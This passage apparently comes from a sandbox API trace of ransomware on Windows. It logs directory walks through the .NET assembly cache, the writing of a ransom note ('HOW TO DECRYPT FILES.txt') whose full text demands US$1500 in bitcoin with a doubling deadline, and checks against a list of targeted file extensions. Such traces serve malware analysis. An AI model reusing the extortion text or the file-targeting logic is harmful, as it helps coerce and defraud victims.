lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b251510, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6b251510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b251510, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2d98, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.dll", cAlternateFileName="POLICY~1.DLL")) returned 0 [0101.150] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0101.150] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6c666f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6c666f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14.0.0.0__71e9bce111e9429c", cAlternateFileName="1400~1.0__")) returned 0 [0101.150] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0101.150] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6c8c850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6c8c850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6c8c850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6c6c64, dwReserved1=0x6769, cFileName="Policy.12.0.Microsoft.Office.Interop.PowerPoint", cAlternateFileName="POLICY~2.POW")) returned 1 [0101.150] lstrcmpA (lpString1=".", lpString2="Policy.12.0.Microsoft.Office.Interop.PowerPoint") returned -1 [0101.150] lstrcmpA (lpString1="..", lpString2="Policy.12.0.Microsoft.Office.Interop.PowerPoint") returned -1 [0101.150] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0101.151] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="Policy.12.0.Microsoft.Office.Interop.PowerPoint" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint" [0101.151] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint") returned 76 [0101.151] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6c8c850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6c8c850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6c8c850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0101.152] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.152] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6c8c850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6c8c850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6c8c850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.152] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.152] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.152] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a5a21d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6c8c850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6c8c850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14.0.0.0__71e9bce111e9429c", cAlternateFileName="1400~1.0__")) returned 1 [0101.152] lstrcmpA (lpString1=".", lpString2="14.0.0.0__71e9bce111e9429c") returned -1 [0101.152] lstrcmpA (lpString1="..", lpString2="14.0.0.0__71e9bce111e9429c") returned -1 [0101.152] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint\\*.*") returned="*.*" [0101.153] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint\\", lpString2="14.0.0.0__71e9bce111e9429c" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c" [0101.153] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c") returned 103 [0101.153] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a5a21d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6c8c850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6c8c850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0101.157] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.157] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a5a21d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6c8c850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6c8c850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.157] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.157] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.157] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d012810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d012810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d012810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x38c, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Policy.12.0.Microsoft.Office.Interop.PowerPoint.config", cAlternateFileName="POLICY~1.CON")) returned 1 [0101.157] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.157] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.12.0.Microsoft.Office.Interop.PowerPoint.config") returned -1 [0101.157] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.12.0.Microsoft.Office.Interop.PowerPoint.config") returned -1 [0101.157] lstrcmpiA (lpString1="", lpString2="Policy.12.0.Microsoft.Office.Interop.PowerPoint.config") returned -1 [0101.157] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\*.*") returned="*.*" [0101.158] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\" [0101.158] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\") returned="" [0101.158] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0101.158] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.powerpoint\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0xffffffff [0101.158] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.powerpoint\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0101.159] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0101.159] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0101.161] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0101.161] CloseHandle (hObject=0x90) returned 1 [0101.161] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\", lpString2="Policy.12.0.Microsoft.Office.Interop.PowerPoint.config" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.PowerPoint.config") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.PowerPoint.config" [0101.162] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.PowerPoint.config", pszSpec="*.ems") returned 0 [0101.162] lstrlenA (lpString="*.ems") returned 5 [0101.162] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.PowerPoint.config", pszSpec="*.db") returned 0 [0101.162] lstrlenA (lpString="*.db") returned 4 [0101.162] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.PowerPoint.config", pszSpec="*.dbf") returned 0 [0101.162] lstrlenA (lpString="*.dbf") returned 5 [0101.162] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.PowerPoint.config", pszSpec="*.myox") returned 0 [0101.162] lstrlenA (lpString="*.myox") returned 6 [0101.162] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.PowerPoint.config", pszSpec="*.myo") returned 0 [0101.162] lstrlenA (lpString="*.myo") returned 5 [0101.162] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.PowerPoint.config", pszSpec="*.qbw") returned 0 [0101.162] lstrlenA (lpString="*.qbw") returned 5 [0101.162] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.PowerPoint.config", pszSpec="*.qbb") returned 0 [0101.162] lstrlenA (lpString="*.qbb") returned 5 [0101.162] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.PowerPoint.config", pszSpec="*.qbm") returned 0 [0101.162] lstrlenA (lpString="*.qbm") returned 5 [0101.162] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.PowerPoint.config", pszSpec="*.qbo") returned 0 [0101.162] lstrlenA (lpString="*.qbo") returned 5 [0101.162] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.PowerPoint.config", pszSpec="*.qbx") returned 0 [0101.162] lstrlenA (lpString="*.qbx") returned 5 [0101.163] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.PowerPoint.config", pszSpec="*.qba") returned 0 [0101.163] lstrlenA (lpString="*.qba") returned 5 [0101.163] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.PowerPoint.config", pszSpec="*.qby") returned 0 [0101.163] lstrlenA (lpString="*.qby") returned 5 [0101.163] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.PowerPoint.config", pszSpec="*.qbj") returned 0 [0101.163] lstrlenA (lpString="*.qbj") returned 5 [0101.163] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.PowerPoint.config", pszSpec="*.ofx") returned 0 [0101.163] lstrlenA (lpString="*.ofx") returned 5 [0101.163] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.PowerPoint.config", pszSpec="*.qif") returned 0 [0101.163] lstrlenA (lpString="*.qif") returned 5 [0101.163] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.PowerPoint.config", pszSpec="*.mye") returned 0 [0101.164] lstrlenA (lpString="*.mye") returned 5 [0101.164] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.PowerPoint.config", pszSpec="*.mbox") returned 0 [0101.164] lstrlenA (lpString="*.mbox") returned 6 [0101.164] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.PowerPoint.config", pszSpec="*.eml") returned 0 [0101.164] lstrlenA (lpString="*.eml") returned 5 [0101.164] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.PowerPoint.config", pszSpec="*.pst") returned 0 [0101.164] lstrlenA (lpString="*.pst") returned 5 [0101.164] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.PowerPoint.config", pszSpec="*.ost") returned 0 [0101.164] lstrlenA (lpString="*.ost") returned 5 [0101.164] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.PowerPoint.config", pszSpec="*.idx") returned 0 [0101.164] lstrlenA (lpString="*.idx") returned 5 [0101.164] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.PowerPoint.config", pszSpec="*.dbx") returned 0 [0101.164] lstrlenA (lpString="*.dbx") returned 5 [0101.164] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.PowerPoint.config", pszSpec="*.sql") returned 0 [0101.164] lstrlenA (lpString="*.sql") returned 5 [0101.164] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.PowerPoint.config", pszSpec="*.mdb") returned 0 [0101.164] lstrlenA (lpString="*.mdb") returned 5 [0101.164] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.PowerPoint.config", pszSpec="*.fdb") returned 0 [0101.164] lstrlenA (lpString="*.fdb") returned 5 [0101.165] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.PowerPoint.config", pszSpec="*.wab") returned 0 [0101.165] lstrlenA (lpString="*.wab") returned 5 [0101.165] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.PowerPoint.config", pszSpec="*.dat") returned 0 [0101.165] lstrlenA (lpString="*.dat") returned 5 [0101.165] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.PowerPoint.config", pszSpec="*.txt") returned 0 [0101.165] lstrlenA (lpString="*.txt") returned 5 [0101.165] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.PowerPoint.config", pszSpec="*.jpeg") returned 0 [0101.165] lstrlenA (lpString="*.jpeg") returned 6 [0101.165] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.PowerPoint.config", pszSpec="*.jpg") returned 0 [0101.165] lstrlenA (lpString="*.jpg") returned 5 [0101.165] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.PowerPoint.config", pszSpec="*.png") returned 0 [0101.165] lstrlenA (lpString="*.png") returned 5 [0101.165] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.PowerPoint.config", pszSpec="*.php") returned 0 [0101.165] lstrlenA (lpString="*.php") returned 5 [0101.165] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.PowerPoint.config", pszSpec="*.cs") returned 0 [0101.165] lstrlenA (lpString="*.cs") returned 4 [0101.165] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.PowerPoint.config", pszSpec="*.cpp") returned 0 [0101.166] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a5a21d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a5a21d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a5a21d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.12.0.Microsoft.Office.Interop.PowerPoint.dll", cAlternateFileName="POLICY~1.DLL")) returned 1 [0101.166] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.166] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.12.0.Microsoft.Office.Interop.PowerPoint.dll") returned -1 [0101.166] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.12.0.Microsoft.Office.Interop.PowerPoint.dll") returned -1 [0101.166] lstrcmpiA (lpString1="", lpString2="Policy.12.0.Microsoft.Office.Interop.PowerPoint.dll") returned -1 [0101.166] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.PowerPoint.config") returned="Policy.12.0.Microsoft.Office.Interop.PowerPoint.config" [0101.166] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\" [0101.166] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\") returned="" [0101.166] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0101.166] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.powerpoint\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0x20 [0101.166] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\", lpString2="Policy.12.0.Microsoft.Office.Interop.PowerPoint.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.PowerPoint.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.PowerPoint.dll" [0101.167] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.PowerPoint.dll", pszSpec="*.ems") returned 0 [0101.167] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: 